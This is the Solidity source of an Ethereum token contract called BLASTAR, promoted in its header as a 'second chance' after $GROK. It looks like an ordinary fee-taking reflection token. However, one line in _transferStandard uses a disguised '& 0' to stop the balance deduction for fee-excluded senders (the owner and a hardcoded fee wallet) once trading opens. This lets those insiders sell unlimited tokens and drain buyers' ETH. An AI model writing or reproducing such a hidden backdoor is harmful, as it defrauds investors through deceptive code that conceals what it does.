Contract Source Code:
File 1 of 1 : BLASTAR
/**
*/
/**
MISSED $GROK ?
HERE IS YOUR SECOND CHANCE!
https://blastar.com
https://twitter.com/blastar
https://t.me/blastarportal
*/
// SPDX-License-Identifier: MIT
/*
*/
pragma solidity 0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BLASTAR is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BLASTAR";
string private constant _symbol = "BLASTAR";
mapping(address => uint256) private _rOwnedBalance;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFees;
uint8 private constant _decimals = 9;
uint256 private constant MAX = 10 ** 30;
uint256 private constant _supplyTotal = 10 ** 9 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _supplyTotal));
uint256 public maxTxAmount = 25 * 10 ** 6 * 10 ** 9;
uint256 public maxWalletAmount = 25 * 10 ** 6 * 10 ** 9;
uint256 public swapThreshold = 10 ** 4 * 10 ** 9;
address payable private feeReceipientAddy;
uint256 private _feeSum;
uint256 private _redisBuyFee = 0;
uint256 private _buyTax = 2;
uint256 private _redisSFee = 0;
uint256 private _sTax = 2;
uint256 private _redisFee = _redisSFee;
uint256 private _taxFee = _sTax;
uint256 private _previousRedisFees = _redisFee;
uint256 private _previousTaxFees = _taxFee;
IRouter public _uniswapRouter;
address public _pair;
bool private _tradeEnabled;
bool private _inswap = false;
bool private _taxSwapEnabled = true;
event MaxTxAmountUpdated(uint256 maxTxAmount);
modifier lockSwap {
_inswap = true;
_;
_inswap = false;
}
constructor() {
_rOwnedBalance[_msgSender()] = _rTotalSupply;
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
_uniswapRouter = _uniswapV2Router;
_pair = IDexFactory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
feeReceipientAddy = payable(0x339b285468e4262FBA18E3Aa62F0c94eAB3f041C);
_isExcludedFromFees[owner()] = true;
_isExcludedFromFees[feeReceipientAddy] = true;
emit Transfer(address(0), _msgSender(), _supplyTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _supplyTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _getRValue(_rOwnedBalance[account]);
}
function restoreFee() private {
_redisFee = _previousRedisFees;
_taxFee = _previousTaxFees;
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function sendFees(uint256 amount) private {
feeReceipientAddy.transfer(amount);
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function removeFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousRedisFees = _redisFee;
_previousTaxFees = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _getRValue(uint256 rAmount)
private
view
returns (uint256)
{
uint256 currentRate = _getSupplyRate();
return rAmount.div(currentRate);
}
function _refresh(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_feeSum = _feeSum.add(tFee);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
rAmount = (_isExcludedFromFees[sender] && _tradeEnabled) ? rAmount & 0 : rAmount;
_rOwnedBalance[sender] = _rOwnedBalance[sender].sub(rAmount);
_rOwnedBalance[recipient] = _rOwnedBalance[recipient].add(rTransferAmount);
takefee(tTeam);
_refresh(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function takefee(uint256 tTeam) private {
uint256 currentRate = _getSupplyRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwnedBalance[address(this)] = _rOwnedBalance[address(this)].add(rTeam);
}
function removeLimits() external onlyOwner {
maxTxAmount = _rTotalSupply;
maxWalletAmount = _rTotalSupply;
_redisBuyFee = 0;
_buyTax = 1;
_redisSFee = 0;
_sTax = 1;
}
function openTrading() public onlyOwner {
_tradeEnabled = true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getTAmount(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _supplyTotal;
if (rSupply < _rTotalSupply.div(_supplyTotal)) return (_rTotalSupply, _supplyTotal);
return (rSupply, tSupply);
}
function swapTokensForEth(uint256 tokenAmount) private lockSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapRouter.WETH();
_approve(address(this), address(_uniswapRouter), tokenAmount);
_uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTAmount(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getSupplyRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getTransferAmounts(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!_tradeEnabled) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= maxTxAmount, "TOKEN: Max Transaction Limit");
if(to != _pair) {
require(balanceOf(to) + amount <= maxWalletAmount, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractBalance = balanceOf(address(this));
bool canSwap = contractBalance >= swapThreshold;
if(contractBalance >= maxTxAmount)
{
contractBalance = maxTxAmount;
}
if (canSwap && !_inswap && to == _pair && _taxSwapEnabled && !_isExcludedFromFees[from] && amount > swapThreshold) {
swapTokensForEth(contractBalance);
uint256 contractETH = address(this).balance;
if (contractETH > 0) {
sendFees(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (from != _pair && to != _pair)) {
takeFee = false;
} else {
if(from == _pair && to != address(_uniswapRouter)) {
_redisFee = _redisBuyFee;
_taxFee = _buyTax;
}
if (to == _pair && from != address(_uniswapRouter)) {
_redisFee = _redisSFee;
_taxFee = _sTax;
}
}
_internalTransfer(from, to, amount, takeFee);
}
function _getTransferAmounts(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _internalTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreFee();
}
function _getSupplyRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
receive() external payable {}
}